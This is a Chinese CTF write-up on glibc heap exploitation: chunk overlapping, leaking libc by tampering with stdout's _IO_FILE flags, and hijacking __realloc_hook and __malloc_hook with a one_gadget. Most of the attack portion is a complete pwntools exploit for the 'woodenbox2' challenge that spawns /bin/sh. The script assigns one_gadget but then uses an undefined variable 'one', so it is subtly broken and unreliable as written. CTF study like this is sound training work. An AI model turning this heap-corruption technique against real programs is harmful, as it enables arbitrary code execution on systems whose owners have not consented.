知识点 overlapping overlapping是一种堆块漏洞利用中相当常见的套路,非常好用,它比较常见的利用条件是off-by-one等堆漏洞。
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/chunk_extend_overlapping-zh
_IO_2_1_stdout_ 查看stdout结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 pwndbg> p stdout $4 = (struct _IO_FILE *) 0x7ffff7dd2620 <_IO_2_1_stdout_> pwndbg> p/x _IO_2_1_stdout_ $7 = { file = { _flags = 0xfbad2887, _IO_read_ptr = 0x7ffff7dd26a3, _IO_read_end = 0x7ffff7dd26a3, _IO_read_base = 0x7ffff7dd26a3, _IO_write_base = 0x7ffff7dd26a3, _IO_write_ptr = 0x7ffff7dd26a3, _IO_write_end = 0x7ffff7dd26a3, _IO_buf_base = 0x7ffff7dd26a3, _IO_buf_end = 0x7ffff7dd26a4, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd18e0, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = {0xa}, _lock = 0x7ffff7dd3780, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7dd17a0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = {0x0 <repeats 20 times>} }, vtable = 0x7ffff7dd06e0 }
当stdout->_flags改变时,可能打印出libc地址,具体参考/usr/include/x86_64-linux-gnu/bits/libio.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #define _IO_MAGIC 0xFBAD0000 /* Magic number */ #define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */ #define _IO_MAGIC_MASK 0xFFFF0000 #define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */ #define _IO_UNBUFFERED 2 #define _IO_NO_READS 4 /* Reading not allowed */ #define _IO_NO_WRITES 8 /* Writing not allowd */ #define _IO_EOF_SEEN 0x10 #define _IO_ERR_SEEN 0x20 #define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */ #define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/ #define _IO_IN_BACKUP 0x100 #define _IO_LINE_BUF 0x200 #define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */ #define _IO_CURRENTLY_PUTTING 0x800 #define _IO_IS_APPENDING 0x1000 #define _IO_IS_FILEBUF 0x2000 #define _IO_BAD_SEEN 0x4000 #define _IO_USER_LOCK 0x8000
一种泄露libc的用法是添加_IO_CURRENTLY_PUTTING和 _IO_IS_APPENDING标志位,例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> int main () { int flags,modified_flag; setbuf(stdout , NULL ); flags = stdout ->_flags; stdout ->_flags = 0xfbad2087 | 0x1000 | 0x800 ; stdout ->_IO_write_base -= 8 ; printf ("flags: 0x%x\n" , flags); modified_flag = stdout ->_flags; printf ("modified_flag: 0x%x\n" , modified_flag); }
运行结果如下:
1 2 �����flags: 0xfbad2087 modified_flag: 0xfbad3887
realloc_hook realloc_hook的常见利用方式是在使用one_gadget时平衡栈空间。
one_gadget如下:在使用时需要满足一些栈条件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ➜ woodenbox one_gadget ./libc6_2.23-0ubuntu11_amd64.so 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
由于调用realloc回去查看realloc_hook是否存在,存在的话会先调用realloc_hook。realloc_hook的地址刚好在malloc_hook上面。常见手段为:在malloc_hook中写入realloc+n,在realloc_hook中写入one_gadget。调用malloc来触发one_gadget。
例题:gxzyCTF woodenbox2 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ➜ woodenbox checksec woodenbox2 [*] '/mnt/hgfs/shared/gxzy/pwn/woodenbox/woodenbox2' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ➜ woodenbox ./woodenbox2 ---------------------------- Wooden Box Menu ---------------------------- 1.add a new item 2.change the item in the box 3.remove the item in the box 4.exit ---------------------------- Your choice:
保护全开,没有show,基本是要想办法泄露libc。程序在change的时候存在堆溢出,因此可以利用overlapping。然后结合unsortedbin来爆破_IO_2_1_stdout_的地址,改变flag来泄露libc,最后将one_gadget写入malloc来getshell。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context.arch = 'amd64' p = process("./woodenbox2" ) elf = ELF("./woodenbox2" ) libc = ELF("./libc6_2.23-0ubuntu11_amd64.so" ) def add (l,name) : p.sendlineafter("choice:" ,"1" ) p.sendlineafter("length of item name:" ,str(l)) p.sendlineafter("name of item:" ,name) def change (idx,l,name) : p.sendlineafter("choice:" ,"2" ) p.sendlineafter("index of item:" ,str(idx)) p.sendlineafter("length of item name:" ,str(l)) p.sendlineafter("new name of the item:" ,name) def remove (idx) : p.sendlineafter("choice:" ,"3" ) p.sendlineafter("item:" ,str(idx)) add(0x68 ,"0" *0x68 ) add(0x68 ,"1" *0x68 ) add(0x68 ,"2" *0x68 ) add(0x68 ,"3" *0x68 ) change(0 ,0x70 ,'0' *0x68 +p64(0xe1 )) remove(1 ) remove(1 ) add(0x38 ,"6" *0x38 ) add(0x28 ,"7" *0x28 ) change(2 ,0x32 ,'5' *0x28 +p64(0x71 )+'\xdd\x25' ) add(0x68 ,"4" *0x68 ) add(0x68 ,'\x00' *0x33 +p64(0xfbad1800 )+3 *p64(0 )+'\x00' ) leak=u64(p.recv(8 ).ljust(8 ,'\x00' )) libc.address = leak - (0x7ffff7a89b00 -0x7ffff7a0d000 ) log.info("libc_base:" +hex(libc.address)) __malloc_hook = libc.symbols['__malloc_hook' ] log.info('__malloc_hook:' +hex(__malloc_hook)) realloc = libc.symbols['realloc' ] log.info('realloc:' +hex(realloc)) one_gadget = libc.address+0x4526a log.info('one_gadget:' +hex(one)) remove(3 ) change(1 ,0x38 ,'5' *0x28 +p64(0x71 )+p64(__malloc_hook-0x23 )) add(0x68 ,'\x00' *0x68 ) add(0x68 ,'\x00' *3 +p64(0 )+p64(one)+p64(realloc)) p.sendlineafter("choice:" ,"1" ) p.interactive()
总结 对于堆溢出漏洞(例如off-by-one),常见的打法是overlapping造成double free,然后将one_gadget写入realloc_hook中。如果没有show操作,就可以利用_IO_1_2_stdout来泄漏libc。